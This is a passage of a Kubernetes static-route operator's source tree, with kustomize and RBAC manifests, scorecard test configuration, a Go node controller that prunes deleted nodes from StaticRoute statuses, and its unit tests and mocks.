/config/default/manager_config_patch.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: controller-manager 5 | namespace: system 6 | spec: 7 | template: 8 | spec: 9 | containers: 10 | - name: manager 11 | args: 12 | - "--config=controller_manager_config.yaml" 13 | volumeMounts: 14 | - name: manager-config 15 | mountPath: /controller_manager_config.yaml 16 | subPath: controller_manager_config.yaml 17 | volumes: 18 | - name: manager-config 19 | configMap: 20 | name: manager-config 21 | -------------------------------------------------------------------------------- /config/manager/manager.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: DaemonSet 3 | metadata: 4 | name: static-route-operator 5 | spec: 6 | selector: 7 | matchLabels: 8 | name: static-route-operator 9 | template: 10 | metadata: 11 | labels: 12 | name: static-route-operator 13 | spec: 14 | serviceAccountName: static-route-operator 15 | hostNetwork: true 16 | tolerations: 17 | - operator: Exists 18 | containers: 19 | - name: static-route-operator 20 | image: REPLACE_IMAGE 21 | imagePullPolicy: Always 22 | securityContext: 23 | runAsUser: 2000 24 | runAsGroup: 2000 25 | capabilities: 26 | add: 27 | - NET_ADMIN 28 | env: 29 | - name: OPERATOR_NAME 30 | value: "static-route-operator" 31 | - name: NODE_HOSTNAME 32 | valueFrom: 33 | fieldRef: 34 | fieldPath: spec.nodeName 35 | -------------------------------------------------------------------------------- /config/manifests/kustomization.yaml: -------------------------------------------------------------------------------- 1 | # These resources constitute the fully configured set of manifests 2 | # used to generate the 'manifests/' directory in a bundle. 3 | resources: 4 | - bases/staticroute-operator.clusterserviceversion.yaml 5 | - ../default 6 | - ../samples 7 | - ../scorecard 8 | 9 | # [WEBHOOK] To enable webhooks, uncomment all the sections with [WEBHOOK] prefix. 10 | # Do NOT uncomment sections with prefix [CERTMANAGER], as OLM does not support cert-manager. 11 | # These patches remove the unnecessary "cert" volume and its manager container volumeMount. 12 | #patchesJson6902: 13 | #- target: 14 | # group: apps 15 | # version: v1 16 | # kind: Deployment 17 | # name: controller-manager 18 | # namespace: system 19 | # patch: |- 20 | # # Remove the manager container's "cert" volumeMount, since OLM will create and mount a set of certs. 21 | # # Update the indices in this path if adding or removing containers/volumeMounts in the manager's Deployment. 22 | # - op: remove 23 | # path: /spec/template/spec/containers/1/volumeMounts/0 24 | # # Remove the "cert" volume, since OLM will create and mount a set of certs. 25 | # # Update the indices in this path if adding or removing volumes in the manager's Deployment. 26 | # - op: remove 27 | # path: /spec/template/spec/volumes/0 28 | -------------------------------------------------------------------------------- /config/prometheus/kustomization.yaml: -------------------------------------------------------------------------------- 1 | resources: 2 | - monitor.yaml 3 | -------------------------------------------------------------------------------- /config/prometheus/monitor.yaml: -------------------------------------------------------------------------------- 1 | 2 | # Prometheus Monitor Service (Metrics) 3 | apiVersion: monitoring.coreos.com/v1 4 | kind: ServiceMonitor 5 | metadata: 6 | labels: 7 | control-plane: controller-manager 8 | name: controller-manager-metrics-monitor 9 | namespace: system 10 | spec: 11 | endpoints: 12 | - path: /metrics 13 | port: https 14 | scheme: https 15 | bearerTokenFile: /var/run/secrets/kubernetes.io/serviceaccount/token 16 | tlsConfig: 17 | insecureSkipVerify: true 18 | selector: 19 | matchLabels: 20 | control-plane: controller-manager 21 | -------------------------------------------------------------------------------- /config/rbac/auth_proxy_client_clusterrole.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: rbac.authorization.k8s.io/v1 2 | kind: ClusterRole 3 | metadata: 4 | name: metrics-reader 5 | rules: 6 | - nonResourceURLs: 7 | - "/metrics" 8 | verbs: 9 | - get 10 | -------------------------------------------------------------------------------- /config/rbac/auth_proxy_role.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: rbac.authorization.k8s.io/v1 2 | kind: ClusterRole 3 | metadata: 4 | name: proxy-role 5 | rules: 6 | - apiGroups: 7 | - authentication.k8s.io 8 | resources: 9 | - tokenreviews 10 | verbs: 11 | - create 12 | - apiGroups: 13 | - authorization.k8s.io 14 | resources: 15 | - subjectaccessreviews 16 | verbs: 17 | - create 18 | -------------------------------------------------------------------------------- /config/rbac/auth_proxy_role_binding.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: rbac.authorization.k8s.io/v1 2 | kind: ClusterRoleBinding 3 | metadata: 4 | name: proxy-rolebinding 5 | roleRef: 6 | apiGroup: rbac.authorization.k8s.io 7 | kind: ClusterRole 8 | name: proxy-role 9 | subjects: 10 | - kind: ServiceAccount 11 | name: controller-manager 12 | namespace: system 13 | -------------------------------------------------------------------------------- /config/rbac/auth_proxy_service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | labels: 5 | control-plane: controller-manager 6 | name: controller-manager-metrics-service 7 | namespace: system 8 | spec: 9 | ports: 10 | - name: https 11 | port: 8443 12 | protocol: TCP 13 | targetPort: https 14 | selector: 15 | control-plane: controller-manager 16 | -------------------------------------------------------------------------------- /config/rbac/kustomization.yaml: -------------------------------------------------------------------------------- 1 | resources: 2 | # All RBAC will be applied under this service account in 3 | # the deployment namespace. You may comment out this resource 4 | # if your manager will use a service account that exists at 5 | # runtime. Be sure to update RoleBinding and ClusterRoleBinding 6 | # subjects if changing service account names. 7 | - service_account.yaml 8 | - role.yaml 9 | - role_binding.yaml 10 | # - leader_election_role.yaml 11 | # - leader_election_role_binding.yaml 12 | # Comment the following 4 lines if you want to disable 13 | # the auth proxy (https://github.com/brancz/kube-rbac-proxy) 14 | # which protects your /metrics endpoint. 15 | # - auth_proxy_service.yaml 16 | # - auth_proxy_role.yaml 17 | # - auth_proxy_role_binding.yaml 18 | # - auth_proxy_client_clusterrole.yaml 19 | -------------------------------------------------------------------------------- /config/rbac/leader_election_role.yaml: -------------------------------------------------------------------------------- 1 | # permissions to do leader election. 2 | apiVersion: rbac.authorization.k8s.io/v1 3 | kind: Role 4 | metadata: 5 | name: leader-election-role 6 | rules: 7 | - apiGroups: 8 | - "" 9 | resources: 10 | - configmaps 11 | verbs: 12 | - get 13 | - list 14 | - watch 15 | - create 16 | - update 17 | - patch 18 | - delete 19 | - apiGroups: 20 | - coordination.k8s.io 21 | resources: 22 | - leases 23 | verbs: 24 | - get 25 | - list 26 | - watch 27 | - create 28 | - update 29 | - patch 30 | - delete 31 | - apiGroups: 32 | - "" 33 | resources: 34 | - events 35 | verbs: 36 | - create 37 | - patch 38 | -------------------------------------------------------------------------------- /config/rbac/leader_election_role_binding.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: rbac.authorization.k8s.io/v1 2 | kind: RoleBinding 3 | metadata: 4 | name: leader-election-rolebinding 5 | roleRef: 6 | apiGroup: rbac.authorization.k8s.io 7 | kind: Role 8 | name: leader-election-role 9 | subjects: 10 | - kind: ServiceAccount 11 | name: controller-manager 12 | namespace: system 13 | -------------------------------------------------------------------------------- /config/rbac/role.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: rbac.authorization.k8s.io/v1 3 | kind: ClusterRole 4 | metadata: 5 | name: static-route-operator 6 | rules: 7 | - apiGroups: 8 | - "" 9 | resources: 10 | - nodes 11 | verbs: 12 | - get 13 | - list 14 | - watch 15 | - apiGroups: 16 | - apps 17 | resourceNames: 18 | - static-route-operator 19 | resources: 20 | - deployments/finalizers 21 | verbs: 22 | - update 23 | - apiGroups: 24 | - monitoring.coreos.com 25 | resources: 26 | - servicemonitors 27 | verbs: 28 | - create 29 | - get 30 | - apiGroups: 31 | - static-route.ibm.com 32 | resources: 33 | - '*' 34 | verbs: 35 | - '*' 36 | -------------------------------------------------------------------------------- /config/rbac/role_binding.yaml: -------------------------------------------------------------------------------- 1 | kind: ClusterRoleBinding 2 | apiVersion: rbac.authorization.k8s.io/v1 3 | metadata: 4 | name: static-route-operator 5 | subjects: 6 | - kind: ServiceAccount 7 | namespace: default 8 | name: static-route-operator 9 | roleRef: 10 | kind: ClusterRole 11 | name: static-route-operator 12 | apiGroup: rbac.authorization.k8s.io 13 | -------------------------------------------------------------------------------- /config/rbac/service_account.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: ServiceAccount 3 | metadata: 4 | name: static-route-operator 5 | imagePullSecrets: 6 | - name: default-us-icr-io 7 | -------------------------------------------------------------------------------- /config/rbac/staticroute_editor_role.yaml: -------------------------------------------------------------------------------- 1 | # permissions for end users to edit staticroutes. 2 | apiVersion: rbac.authorization.k8s.io/v1 3 | kind: ClusterRole 4 | metadata: 5 | name: staticroute-editor-role 6 | rules: 7 | - apiGroups: 8 | - static-route.ibm.com 9 | resources: 10 | - staticroutes 11 | verbs: 12 | - create 13 | - delete 14 | - get 15 | - list 16 | - patch 17 | - update 18 | - watch 19 | - apiGroups: 20 | - static-route.ibm.com 21 | resources: 22 | - staticroutes/status 23 | verbs: 24 | - get 25 | -------------------------------------------------------------------------------- /config/rbac/staticroute_viewer_role.yaml: -------------------------------------------------------------------------------- 1 | # permissions for end users to view staticroutes. 2 | apiVersion: rbac.authorization.k8s.io/v1 3 | kind: ClusterRole 4 | metadata: 5 | name: staticroute-viewer-role 6 | rules: 7 | - apiGroups: 8 | - static-route.ibm.com 9 | resources: 10 | - staticroutes 11 | verbs: 12 | - get 13 | - list 14 | - watch 15 | - apiGroups: 16 | - static-route.ibm.com 17 | resources: 18 | - staticroutes/status 19 | verbs: 20 | - get 21 | -------------------------------------------------------------------------------- /config/samples/kustomization.yaml: -------------------------------------------------------------------------------- 1 | ## Append samples you want in your CSV to this file as resources ## 2 | resources: 3 | - static-route_v1_staticroute.yaml 4 | #+kubebuilder:scaffold:manifestskustomizesamples 5 | -------------------------------------------------------------------------------- /config/samples/static-route.ibm.com_v1_static_route_cr.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: static-route.ibm.com/v1 2 | kind: StaticRoute 3 | metadata: 4 | name: example-static-route 5 | spec: 6 | subnet: "192.168.0.0/24" 7 | -------------------------------------------------------------------------------- /config/samples/static-route.ibm.com_v1_static_route_cr_with_selector.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: static-route.ibm.com/v1 2 | kind: StaticRoute 3 | metadata: 4 | name: example-static-route-with-selector 5 | spec: 6 | subnet: "192.168.1.0/24" 7 | selectors: 8 | - 9 | key: "kubernetes.io/arch" 10 | operator: In 11 | values: 12 | - "amd64" 13 | -------------------------------------------------------------------------------- /config/scorecard/bases/config.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: scorecard.operatorframework.io/v1alpha3 2 | kind: Configuration 3 | metadata: 4 | name: config 5 | stages: 6 | - parallel: true 7 | tests: [] 8 | -------------------------------------------------------------------------------- /config/scorecard/kustomization.yaml: -------------------------------------------------------------------------------- 1 | resources: 2 | - bases/config.yaml 3 | patchesJson6902: 4 | - path: patches/basic.config.yaml 5 | target: 6 | group: scorecard.operatorframework.io 7 | version: v1alpha3 8 | kind: Configuration 9 | name: config 10 | - path: patches/olm.config.yaml 11 | target: 12 | group: scorecard.operatorframework.io 13 | version: v1alpha3 14 | kind: Configuration 15 | name: config 16 | #+kubebuilder:scaffold:patchesJson6902 17 | -------------------------------------------------------------------------------- /config/scorecard/patches/basic.config.yaml: -------------------------------------------------------------------------------- 1 | - op: add 2 | path: /stages/0/tests/- 3 | value: 4 | entrypoint: 5 | - scorecard-test 6 | - basic-check-spec 7 | image: quay.io/operator-framework/scorecard-test:v1.12.0 8 | labels: 9 | suite: basic 10 | test: basic-check-spec-test 11 | -------------------------------------------------------------------------------- /config/scorecard/patches/olm.config.yaml: -------------------------------------------------------------------------------- 1 | - op: add 2 | path: /stages/0/tests/- 3 | value: 4 | entrypoint: 5 | - scorecard-test 6 | - olm-bundle-validation 7 | image: quay.io/operator-framework/scorecard-test:v1.12.0 8 | labels: 9 | suite: olm 10 | test: olm-bundle-validation-test 11 | - op: add 12 | path: /stages/0/tests/- 13 | value: 14 | entrypoint: 15 | - scorecard-test 16 | - olm-crds-have-validation 17 | image: quay.io/operator-framework/scorecard-test:v1.12.0 18 | labels: 19 | suite: olm 20 | test: olm-crds-have-validation-test 21 | - op: add 22 | path: /stages/0/tests/- 23 | value: 24 | entrypoint: 25 | - scorecard-test 26 | - olm-crds-have-resources 27 | image: quay.io/operator-framework/scorecard-test:v1.12.0 28 | labels: 29 | suite: olm 30 | test: olm-crds-have-resources-test 31 | - op: add 32 | path: /stages/0/tests/- 33 | value: 34 | entrypoint: 35 | - scorecard-test 36 | - olm-spec-descriptors 37 | image: quay.io/operator-framework/scorecard-test:v1.12.0 38 | labels: 39 | suite: olm 40 | test: olm-spec-descriptors-test 41 | - op: add 42 | path: /stages/0/tests/- 43 | value: 44 | entrypoint: 45 | - scorecard-test 46 | - olm-status-descriptors 47 | image: quay.io/operator-framework/scorecard-test:v1.12.0 48 | labels: 49 | suite: olm 50 | test: olm-status-descriptors-test 51 | -------------------------------------------------------------------------------- /controllers/node/mock_test.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2021 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | package node 18 | 19 | import ( 20 | "context" 21 | 22 | staticroutev1 "github.com/wornbugle/staticroute-operator/api/v1" 23 | corev1 "k8s.io/api/core/v1" 24 | 25 | "k8s.io/apimachinery/pkg/runtime" 26 | "k8s.io/apimachinery/pkg/types" 27 | "sigs.k8s.io/controller-runtime/pkg/client" 28 | "sigs.k8s.io/controller-runtime/pkg/client/fake" 29 | "sigs.k8s.io/controller-runtime/pkg/reconcile" 30 | ) 31 | 32 | type reconcileImplClientMock struct { 33 | client reconcileImplClient 34 | get func(context.Context, client.ObjectKey, client.Object, ...client.GetOption) error 35 | list func(context.Context, runtime.Object, ...client.ListOption) error 36 | status func() client.StatusWriter 37 | } 38 | 39 | func (m reconcileImplClientMock) Get(ctx context.Context, key client.ObjectKey, obj client.Object, options ...client.GetOption) error { 40 | if m.get != nil { 41 | return m.get(ctx, key, obj, options...) 42 | } 43 | return m.client.Get(ctx, key, obj, options...) 44 | } 45 | 46 | func (m reconcileImplClientMock) List(ctx context.Context, obj client.ObjectList, options ...client.ListOption) error { 47 | if m.list != nil { 48 | return m.list(ctx, obj, options...) 49 | } 50 | return m.client.List(ctx, obj, options...) 51 | } 52 | 53 | func (m reconcileImplClientMock) Status() client.StatusWriter { 54 | if m.status != nil { 55 | return m.status() 56 | } 57 | return m.client.Status() 58 | } 59 | 60 | type statusWriterMock struct { 61 | createErr error 62 | updateErr error 63 | patchErr error 64 | } 65 | 66 | func (m statusWriterMock) Create(ctx context.Context, obj, subResource client.Object, opts ...client.SubResourceCreateOption) error { 67 | return m.createErr 68 | } 69 | 70 | func (m statusWriterMock) Update(ctx context.Context, obj client.Object, opts ...client.SubResourceUpdateOption) error { 71 | return m.updateErr 72 | } 73 | 74 | func (m statusWriterMock) Patch(context.Context, client.Object, client.Patch, ...client.SubResourcePatchOption) error { 75 | return m.patchErr 76 | } 77 | 78 | func newReconcileImplParams(client reconcileImplClient) *reconcileImplParams { 79 | return &reconcileImplParams{ 80 | request: reconcile.Request{ 81 | NamespacedName: types.NamespacedName{ 82 | Name: "CR", 83 | Namespace: "default", 84 | }, 85 | }, 86 | client: client, 87 | } 88 | } 89 | 90 | func newFakeClient(routes *staticroutev1.StaticRouteList) client.Client { 91 | s := runtime.NewScheme() 92 | s.AddKnownTypes(staticroutev1.GroupVersion, routes) 93 | s.AddKnownTypes(corev1.SchemeGroupVersion, &corev1.Node{}) 94 | return fake.NewClientBuilder().WithScheme(s).WithRuntimeObjects([]runtime.Object{routes}...).Build() 95 | } 96 | -------------------------------------------------------------------------------- /controllers/node/node_controller.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2021 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | package node 18 | 19 | import ( 20 | "context" 21 | 22 | staticroutev1 "github.com/wornbugle/staticroute-operator/api/v1" 23 | corev1 "k8s.io/api/core/v1" 24 | "k8s.io/apimachinery/pkg/api/errors" 25 | "k8s.io/apimachinery/pkg/runtime" 26 | ctrl "sigs.k8s.io/controller-runtime" 27 | "sigs.k8s.io/controller-runtime/pkg/client" 28 | "sigs.k8s.io/controller-runtime/pkg/event" 29 | "sigs.k8s.io/controller-runtime/pkg/handler" 30 | logf "sigs.k8s.io/controller-runtime/pkg/log" 31 | "sigs.k8s.io/controller-runtime/pkg/manager" 32 | "sigs.k8s.io/controller-runtime/pkg/predicate" 33 | "sigs.k8s.io/controller-runtime/pkg/reconcile" 34 | ) 35 | 36 | var log = logf.Log.WithName("controller_node") 37 | 38 | // Add creates a new Node Controller and adds it to the Manager. The Manager will set fields on the Controller 39 | // and Start it when the Manager is Started. 40 | func Add(mgr manager.Manager) error { 41 | return (&NodeReconciler{ 42 | client: mgr.GetClient(), 43 | scheme: mgr.GetScheme()}). 44 | SetupWithManager(mgr) 45 | } 46 | 47 | // SetupWithManager sets up the controller with the Manager. 48 | func (r *NodeReconciler) SetupWithManager(mgr ctrl.Manager) error { 49 | // Watch for changes to primary resource Node 50 | return ctrl.NewControllerManagedBy(mgr). 51 | Named("node-controller"). 52 | For(&corev1.Node{}). 53 | Watches(&corev1.Node{}, &handler.EnqueueRequestForObject{}). 54 | WithEventFilter( 55 | &predicate.Funcs{ 56 | CreateFunc: func(e event.CreateEvent) bool { 57 | return false 58 | }, 59 | UpdateFunc: func(e event.UpdateEvent) bool { 60 | return false 61 | }, 62 | DeleteFunc: func(e event.DeleteEvent) bool { 63 | return true 64 | }, 65 | }). 66 | Complete(r) 67 | } 68 | 69 | // blank assignment to verify that NodeReconciler implements reconcile.Reconciler 70 | var _ reconcile.Reconciler = &NodeReconciler{} 71 | 72 | // NodeReconciler reconciles a Node object 73 | type NodeReconciler struct { 74 | // This client, initialized using mgr.Client() above, is a split client 75 | // that reads objects from the cache and writes to the apiserver 76 | client reconcileImplClient 77 | scheme *runtime.Scheme 78 | } 79 | 80 | // Reconcile reads that state of the cluster for a Node object and makes changes based on the state read 81 | // and what is in the Node.Spec 82 | // Note: 83 | // The Controller will requeue the Request to be processed again if the returned error is non-nil or 84 | // Result.Requeue is true, otherwise upon completion it will remove the work from the queue. 85 | func (r *NodeReconciler) Reconcile(ctx context.Context, request reconcile.Request) (reconcile.Result, error) { 86 | params := reconcileImplParams{ 87 | request: request, 88 | client: r.client, 89 | } 90 | result, err := reconcileImpl(params) 91 | return *result, err 92 | } 93 | 94 | type reconcileImplClient interface { 95 | Get(context.Context, client.ObjectKey, client.Object, ...client.GetOption) error 96 | List(context.Context, client.ObjectList, ...client.ListOption) error 97 | Status() client.StatusWriter 98 | } 99 | 100 | type reconcileImplParams struct { 101 | request reconcile.Request 102 | client reconcileImplClient 103 | } 104 | 105 | var ( 106 | nodeStillExists = &reconcile.Result{} 107 | finished = &reconcile.Result{} 108 | 109 | nodeGetError = &reconcile.Result{} 110 | staticRouteListError = &reconcile.Result{} 111 | deleteRouteError = &reconcile.Result{} 112 | ) 113 | 114 | func reconcileImpl(params reconcileImplParams) (*reconcile.Result, error) { 115 | reqLogger := log.WithValues("Request.Namespace", params.request.Namespace, "Request.Name", params.request.Name) 116 | 117 | // Fetch the Node instance 118 | node := &corev1.Node{} 119 | if err := params.client.Get(context.Background(), params.request.NamespacedName, node); err == nil { 120 | return nodeStillExists, nil 121 | } else if !errors.IsNotFound(err) { 122 | // Error reading the object - requeue the request. 123 | return nodeGetError, err 124 | } 125 | 126 | routes := &staticroutev1.StaticRouteList{} 127 | if err := params.client.List(context.Background(), routes); err != nil { 128 | reqLogger.Error(err, "Unable to fetch CRD") 129 | return staticRouteListError, err 130 | } 131 | 132 | nf := nodeFinder{ 133 | nodeName: params.request.Name, 134 | updateCallback: func(route *staticroutev1.StaticRoute) error { 135 | return params.client.Status().Update(context.Background(), route) 136 | }, 137 | infoLogger: reqLogger.Info, 138 | } 139 | if err := nf.delete(routes); err != nil { 140 | reqLogger.Error(err, "Unable to update CR") 141 | return deleteRouteError, err 142 | } 143 | 144 | return finished, nil 145 | } 146 | 147 | type nodeFinder struct { 148 | nodeName string 149 | updateCallback func(*staticroutev1.StaticRoute) error 150 | infoLogger func(string, ...interface{}) 151 | } 152 | 153 | func (nf *nodeFinder) delete(routes *staticroutev1.StaticRouteList) error { 154 | for i := range routes.Items { 155 | statusToDelete := nf.findNode(&routes.Items[i]) 156 | if statusToDelete == -1 { 157 | continue 158 | } 159 | nf.infoLogger("Found the node to delete") 160 | 161 | copy(routes.Items[i].Status.NodeStatus[statusToDelete:], routes.Items[i].Status.NodeStatus[statusToDelete+1:]) 162 | routes.Items[i].Status.NodeStatus[len(routes.Items[i].Status.NodeStatus)-1] = staticroutev1.StaticRouteNodeStatus{} 163 | routes.Items[i].Status.NodeStatus = routes.Items[i].Status.NodeStatus[:len(routes.Items[i].Status.NodeStatus)-1] 164 | 165 | if err := nf.updateCallback(&routes.Items[i]); err != nil { 166 | return err 167 | } 168 | } 169 | 170 | return nil 171 | } 172 | 173 | func (nf *nodeFinder) findNode(route *staticroutev1.StaticRoute) int { 174 | for i, status := range route.Status.NodeStatus { 175 | if status.Hostname == nf.nodeName { 176 | return i 177 | } 178 | } 179 | 180 | return -1 181 | } 182 | -------------------------------------------------------------------------------- /controllers/node/node_controller_test.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2021 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | package node 18 | 19 | import ( 20 | "context" 21 | "errors" 22 | "testing" 23 | 24 | staticroutev1 "github.com/wornbugle/staticroute-operator/api/v1" 25 | kerrors "k8s.io/apimachinery/pkg/api/errors" 26 | "k8s.io/apimachinery/pkg/runtime" 27 | "k8s.io/apimachinery/pkg/runtime/schema" 28 | 29 | "sigs.k8s.io/controller-runtime/pkg/client" 30 | "sigs.k8s.io/controller-runtime/pkg/client/fake" 31 | ) 32 | 33 | func TestFindNodeFound(t *testing.T) { 34 | nf := nodeFinder{ 35 | nodeName: "foo", 36 | } 37 | route := &staticroutev1.StaticRoute{ 38 | Status: staticroutev1.StaticRouteStatus{ 39 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 40 | staticroutev1.StaticRouteNodeStatus{Hostname: "bar"}, 41 | staticroutev1.StaticRouteNodeStatus{Hostname: "foo"}, 42 | }, 43 | }, 44 | } 45 | 46 | index := nf.findNode(route) 47 | 48 | if 1 != index { 49 | t.Errorf("Index not match 1 == %d", index) 50 | } 51 | } 52 | 53 | func TestFindNodeNotFound(t *testing.T) { 54 | nf := nodeFinder{ 55 | nodeName: "not-found", 56 | } 57 | route := &staticroutev1.StaticRoute{ 58 | Status: staticroutev1.StaticRouteStatus{ 59 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 60 | staticroutev1.StaticRouteNodeStatus{Hostname: "bar"}, 61 | staticroutev1.StaticRouteNodeStatus{Hostname: "foo"}, 62 | }, 63 | }, 64 | } 65 | 66 | index := nf.findNode(route) 67 | 68 | if -1 != index { 69 | t.Errorf("Index not match -1 == %d", index) 70 | } 71 | } 72 | 73 | func TestDelete(t *testing.T) { 74 | var updateInputParam *staticroutev1.StaticRoute 75 | nf := nodeFinder{ 76 | nodeName: "to-delete", 77 | updateCallback: func(r *staticroutev1.StaticRoute) error { 78 | updateInputParam = r 79 | return nil 80 | }, 81 | infoLogger: func(string, ...interface{}) {}, 82 | } 83 | routes := &staticroutev1.StaticRouteList{ 84 | Items: []staticroutev1.StaticRoute{ 85 | staticroutev1.StaticRoute{ 86 | Status: staticroutev1.StaticRouteStatus{ 87 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 88 | staticroutev1.StaticRouteNodeStatus{Hostname: "foo"}, 89 | staticroutev1.StaticRouteNodeStatus{Hostname: "to-delete"}, 90 | staticroutev1.StaticRouteNodeStatus{Hostname: "bar"}, 91 | }, 92 | }, 93 | }, 94 | }, 95 | } 96 | 97 | //nolint:errcheck 98 | nf.delete(routes) 99 | 100 | if updateInputParam == nil { 101 | t.Errorf("Update clannback was not called or called with nil") 102 | } else if len(updateInputParam.Status.NodeStatus) != 2 { 103 | t.Errorf("Node deletion went fail") 104 | } else if act := updateInputParam.Status.NodeStatus[0].Hostname + updateInputParam.Status.NodeStatus[1].Hostname; act != "foobar" { 105 | t.Errorf("Not the right status was deleted 'foobar' == %s", act) 106 | } 107 | } 108 | 109 | func TestReconcileImpl(t *testing.T) { 110 | var statusUpdateCalled bool 111 | statusUpdateCallback := func() client.StatusWriter { 112 | statusUpdateCalled = true 113 | return nil 114 | } 115 | 116 | params, _ := getReconcileContextForHappyFlow(statusUpdateCallback) 117 | 118 | res, err := reconcileImpl(*params) 119 | 120 | if res != finished { 121 | t.Error("Result must be finished") 122 | } 123 | if err != nil { 124 | t.Errorf("Error must be nil: %s", err.Error()) 125 | } 126 | if statusUpdateCalled { 127 | t.Error("Status update called") 128 | } 129 | } 130 | 131 | func TestReconcileImplNodeGetNodeFound(t *testing.T) { 132 | params, mockClient := getReconcileContextForHappyFlow(nil) 133 | mockClient.get = func(context.Context, client.ObjectKey, client.Object, ...client.GetOption) error { 134 | return nil 135 | } 136 | 137 | res, err := reconcileImpl(*params) 138 | 139 | if res != nodeStillExists { 140 | t.Error("Result must be nodeStillExists") 141 | } 142 | if err != nil { 143 | t.Errorf("Error must be nil: %s", err.Error()) 144 | } 145 | } 146 | 147 | func TestReconcileImplNodeGetNodeFatalError(t *testing.T) { 148 | params, mockClient := getReconcileContextForHappyFlow(nil) 149 | mockClient.get = func(context.Context, client.ObjectKey, client.Object, ...client.GetOption) error { 150 | return errors.New("fatal error") 151 | } 152 | 153 | res, err := reconcileImpl(*params) 154 | 155 | if res != nodeGetError { 156 | t.Error("Result must be nodeGetError") 157 | } 158 | if err == nil { 159 | t.Error("Error must be not nil") 160 | } 161 | } 162 | 163 | func TestReconcileImplNodeCRListError(t *testing.T) { 164 | //err "no kind is registered for the type v1."" because fake client doesn't have CRD 165 | params, mockClient := getReconcileContextForHappyFlow(nil) 166 | mockClient.client = fake.NewClientBuilder().Build() 167 | mockClient.get = func(context.Context, client.ObjectKey, client.Object, ...client.GetOption) error { 168 | return kerrors.NewNotFound(schema.GroupResource{}, "name") 169 | } 170 | 171 | res, err := reconcileImpl(*params) 172 | 173 | if res != staticRouteListError { 174 | t.Error("Result must be staticRouteListError") 175 | } 176 | if err == nil { 177 | t.Error("Error must be not nil") 178 | } 179 | } 180 | 181 | func TestReconcileDeleteError(t *testing.T) { 182 | var statusUpdateCalled bool 183 | statusWriteMock := statusWriterMock{ 184 | updateErr: errors.New("update failed"), 185 | } 186 | params, mockClient := getReconcileContextForHappyFlow(func() client.StatusWriter { 187 | statusUpdateCalled = true 188 | return statusWriteMock 189 | }) 190 | mockClient.get = func(context.Context, client.ObjectKey, client.Object, ...client.GetOption) error { 191 | return kerrors.NewNotFound(schema.GroupResource{}, "name") 192 | } 193 | mockClient.list = func(ctx context.Context, obj runtime.Object, options ...client.ListOption) error { 194 | iface := obj.(interface{}) 195 | routes := iface.(*staticroutev1.StaticRouteList) 196 | routes.Items = []staticroutev1.StaticRoute{ 197 | staticroutev1.StaticRoute{ 198 | Status: staticroutev1.StaticRouteStatus{ 199 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 200 | staticroutev1.StaticRouteNodeStatus{ 201 | Hostname: "CR", 202 | }, 203 | }, 204 | }, 205 | }, 206 | } 207 | return nil 208 | } 209 | 210 | res, err := reconcileImpl(*params) 211 | 212 | if res != deleteRouteError { 213 | t.Error("Result must be deleteRouteError") 214 | } 215 | if err == nil { 216 | t.Error("Error must be not nil") 217 | } 218 | if !statusUpdateCalled { 219 | t.Error("Status update called") 220 | } 221 | } 222 | 223 | func getReconcileContextForHappyFlow(statusUpdateCallback func() client.StatusWriter) (*reconcileImplParams, *reconcileImplClientMock) { 224 | routes := &staticroutev1.StaticRouteList{} 225 | mockClient := reconcileImplClientMock{ 226 | client: newFakeClient(routes), 227 | get: func(context.Context, client.ObjectKey, client.Object, ...client.GetOption) error { 228 | return kerrors.NewNotFound(schema.GroupResource{}, "name") 229 | }, 230 | } 231 | if statusUpdateCallback != nil { 232 | mockClient.status = statusUpdateCallback 233 | } 234 | 235 | return newReconcileImplParams(&mockClient), &mockClient 236 | } 237 | -------------------------------------------------------------------------------- /controllers/staticroute/mocks_test.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2021 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 